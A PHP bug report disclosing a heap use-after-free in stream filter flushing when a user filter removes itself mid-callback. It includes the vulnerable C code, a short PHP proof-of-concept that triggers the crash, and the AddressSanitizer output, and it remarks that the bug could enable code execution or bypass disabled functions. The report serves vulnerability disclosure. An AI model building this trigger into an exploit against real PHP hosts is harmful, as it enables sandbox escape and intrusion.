[php-src] Issue #22063: Stream filter chain UAF via self-removal during callback

[email protected] (therealcoiffeur)
Newsgroups php.bugs
Message-ID <RH3zVHbNyI3gopubP8UZ9Yx0FkEPZ9Cux7SueHkyrzE@main.internal.php.net>
Issue: https://github.com/php/php-src/issues/22063
Author: therealcoiffeur

### Description

### Summary

`_php_stream_filter_flush()` iterates a linked list of stream filters without saving `current->next` before invoking each filter's callback. For PHP user-space filters, the callback dispatches into `userfilter_filter()` which calls the PHP class's `filter()` method. From inside that method the user can call `stream_filter_remove()` on the currently-executing filter, which calls `php_stream_filter_remove(filter, true)` -> `php_stream_filter_free(filter)`, freeing the `php_stream_filter` struct while the C iteration is still live.

Two separate UAF access points result:

1. `user_filters.c:241`: `obj = &thisfilter->abstract` is set before the callback. After `php_stream_filter_free(thisfilter)` frees the struct, `obj` is dangling. If the filter class declares a `$stream` property, `stream_name` is non-NULL and `Z_OBJCE_P(obj)` / `Z_OBJ_P(obj)` at line 241 read from the freed struct. This fires regardless of the return value from the PHP `filter()` method.

2. `filter.c:420`: After `userfilter_filter()` returns, the loop update `current = current->next` reads `next` from the freed `thisfilter` struct. This fires when the PHP `filter()` method returns `PSFS_PASS_ON` (2); `PSFS_FEED_ME` (1) and `PSFS_ERR_FATAL` (0) both return before the loop update.

### Vulnerable Source Code

```c
// main/streams/filter.c:402-440 -- flush loop, no next-pointer save
PHPAPI zend_result _php_stream_filter_flush(php_stream_filter *filter, bool finish)
{
    ...
    for(current = filter; current; current = current->next) {   // line 420
        status = current->fops->filter(stream, current,         // line 423
                                       inp, outp, NULL, flags);
        if (status == PSFS_FEED_ME) { return SUCCESS; }         // exits before UAF #2
        if (status == PSFS_ERR_FATAL) { return FAILURE; }       // exits before UAF #2
        ...
    }   // loop update: current = current->next  <- UAF #2 if PSFS_PASS_ON returned
}
```

```c
// ext/standard/user_filters.c:164-254 -- PHP callback dispatch
static php_stream_filter_status_t userfilter_filter(
    php_stream *stream, php_stream_filter *thisfilter, ...)
{
    int ret = PSFS_ERR_FATAL;
    zval *obj = &thisfilter->abstract;              // line 174: pointer into filter struct

    call_user_function(NULL, obj, &func_name,       // line 212: PHP runs
                       &retval, 4, args);
    // PHP may call stream_filter_remove() -> php_stream_filter_free(thisfilter)
    // thisfilter struct is NOW FREED; obj is dangling

    if (stream_name != NULL) {                      // line 241: if $stream property exists
        zend_update_property_null(
            Z_OBJCE_P(obj),                         // UAF READ #1 from freed struct
            Z_OBJ_P(obj), ...);
    }
    return ret;
}
```

```c
// main/streams/filter.c:487-508 -- php_stream_filter_remove frees the struct
PHPAPI php_stream_filter *php_stream_filter_remove(php_stream_filter *filter, bool call_dtor)
{
    if (filter->prev) filter->prev->next = filter->next;   // unlink
    else filter->chain->head = filter->next;
    if (filter->next) filter->next->prev = filter->prev;
    else filter->chain->tail = filter->prev;

    if (filter->res) zend_list_delete(filter->res);

    if (call_dtor) {
        php_stream_filter_free(filter);                    // struct freed here
        return NULL;
    }
    return filter;
}
```

### How to Trigger

```php
<?php

class UAFFilter extends php_user_filter {
    public $stream;
    private static bool $removed = false;

    public function filter($in, $out, &$consumed, $closing): int {
        if (!self::$removed) {
            self::$removed = true;
            stream_filter_remove($GLOBALS['filter_res']);
        }
        return PSFS_PASS_ON;
    }
}

stream_filter_register('uaf', 'UAFFilter');
$f = fopen('php://memory', 'r+');
$GLOBALS['filter_res'] = stream_filter_append($f, 'uaf', STREAM_FILTER_WRITE);
fwrite($f, 'hello');
```

<u>Command:</u>

```bash
USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f6/poc.php
```

<u>Output:</u>

```

Warning: fwrite(): Unprocessed filter buckets remaining on input brigade in /Users/terrence/Documents/Research/Targets/PHP/Results/Findings/f6/poc.php on line 19
=================================================================
==30105==ERROR: AddressSanitizer: heap-use-after-free on address 0x607000027548 at pc 0x000106134d78 bp 0x00016aed8010 sp 0x00016aed8008
READ of size 8 at 0x607000027548 thread T0
    #0 0x000106134d74 in userfilter_filter user_filters.c:242
    #1 0x0001062d2e78 in _php_stream_write_filtered streams.c:1239
    #2 0x0001062d08dc in _php_stream_write streams.c:1326
    #3 0x000105f9b7e0 in zif_fwrite file.c:997
    #4 0x0001069b6d24 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54091
    #5 0x00010664fa9c in execute_ex zend_vm_execute.h:110168
    #6 0x000106650430 in zend_execute zend_vm_execute.h:115586
    #7 0x000106c70b44 in zend_execute_script zend.c:1971
    #8 0x00010625f658 in php_execute_script_ex main.c:2646
    #9 0x00010625fbc0 in php_execute_script main.c:2686
    #10 0x000106c774b8 in do_cli php_cli.c:947
    #11 0x000106c75904 in main php_cli.c:1370
    #12 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)

0x607000027548 is located 8 bytes inside of 80-byte region [0x607000027540,0x607000027590)
freed by thread T0 here:
    #0 0x000109f0d258 in free+0x7c (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x41258)
    #1 0x0001064d3664 in __zend_free zend_alloc.c:3571
    #2 0x0001064d737c in _efree zend_alloc.c:2788
    #3 0x0001062b39d8 in php_stream_filter_free filter.c:281
    #4 0x0001062b6078 in php_stream_filter_remove filter.c:505
    #5 0x0001060ab648 in zif_stream_filter_remove streamsfuncs.c:1313
    #6 0x0001069b6d24 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54091
    #7 0x00010664fa9c in execute_ex zend_vm_execute.h:110168
    #8 0x000106629524 in zend_call_function zend_execute_API.c:1016
    #9 0x000106626d6c in _call_user_function_impl zend_execute_API.c:800
    #10 0x000106134c20 in userfilter_filter user_filters.c:212
    #11 0x0001062d2e78 in _php_stream_write_filtered streams.c:1239
    #12 0x0001062d08dc in _php_stream_write streams.c:1326
    #13 0x000105f9b7e0 in zif_fwrite file.c:997
    #14 0x0001069b6d24 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54091
    #15 0x00010664fa9c in execute_ex zend_vm_execute.h:110168
    #16 0x000106650430 in zend_execute zend_vm_execute.h:115586
    #17 0x000106c70b44 in zend_execute_script zend.c:1971
    #18 0x00010625f658 in php_execute_script_ex main.c:2646
    #19 0x00010625fbc0 in php_execute_script main.c:2686
    #20 0x000106c774b8 in do_cli php_cli.c:947
    #21 0x000106c75904 in main php_cli.c:1370
    #22 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)

previously allocated by thread T0 here:
    #0 0x000109f0d164 in malloc+0x78 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x41164)
    #1 0x0001064d7998 in __zend_malloc zend_alloc.c:3543
    #2 0x0001064d7250 in _emalloc zend_alloc.c:2778
    #3 0x0001062b369c in _php_stream_filter_alloc filter.c:266
    #4 0x000106133c60 in user_filter_factory_create user_filters.c:386
    #5 0x0001062b31cc in php_stream_filter_create filter.c:228
    #6 0x0001060aabb8 in apply_filter_to_stream streamsfuncs.c:1252
    #7 0x0001060ab050 in zif_stream_filter_append streamsfuncs.c:1288
    #8 0x0001069b78cc in ZEND_DO_ICALL_SPEC_RETVAL_USED_TAILCALL_HANDLER zend_vm_execute.h:54161
    #9 0x00010664fa9c in execute_ex zend_vm_execute.h:110168
    #10 0x000106650430 in zend_execute zend_vm_execute.h:115586
    #11 0x000106c70b44 in zend_execute_script zend.c:1971
    #12 0x00010625f658 in php_execute_script_ex main.c:2646
    #13 0x00010625fbc0 in php_execute_script main.c:2686
    #14 0x000106c774b8 in do_cli php_cli.c:947
    #15 0x000106c75904 in main php_cli.c:1370
    #16 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)

SUMMARY: AddressSanitizer: heap-use-after-free user_filters.c:242 in userfilter_filter
Shadow bytes around the buggy address:
  0x607000027280: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fa fa
  0x607000027300: fa fa 00 00 00 00 00 00 00 00 00 03 fa fa fa fa
  0x607000027380: 00 00 00 00 00 00 00 00 00 00 fa fa fa fa 00 00
  0x607000027400: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00
  0x607000027480: 00 00 00 00 00 00 fa fa fa fa fd fd fd fd fd fd
=>0x607000027500: fd fd fd fd fa fa fa fa fd[fd]fd fd fd fd fd fd
  0x607000027580: fd fd fa fa fa fa fd fd fd fd fd fd fd fd fd fd
  0x607000027600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x607000027680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x607000027700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x607000027780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==30105==ABORTING
[1]    30105 abort      USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f6/poc.php
```

> Note: Even though this could be used to execute arbitrary code or bypass disabled functions, GHSA-fj3x-x2xf-vj4g is not part of PHP's threat model (which is wrong, but that's not my call).
> "Hey, this is not a security issue. You have to write carefully crafted code to trigger this.
Please re-open this as a normal bug."

### PHP Version

```plain
PHP 8.6.0-dev (cli) (built: May 16 2026 16:38:50) (NTS DEBUG)
Copyright © The PHP Group and Contributors
Zend Engine v4.6.0-dev, Copyright © Zend by Perforce
    with Zend OPcache v8.6.0-dev, Copyright ©, by Zend by Perforce
```

### Operating System

_No response_
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.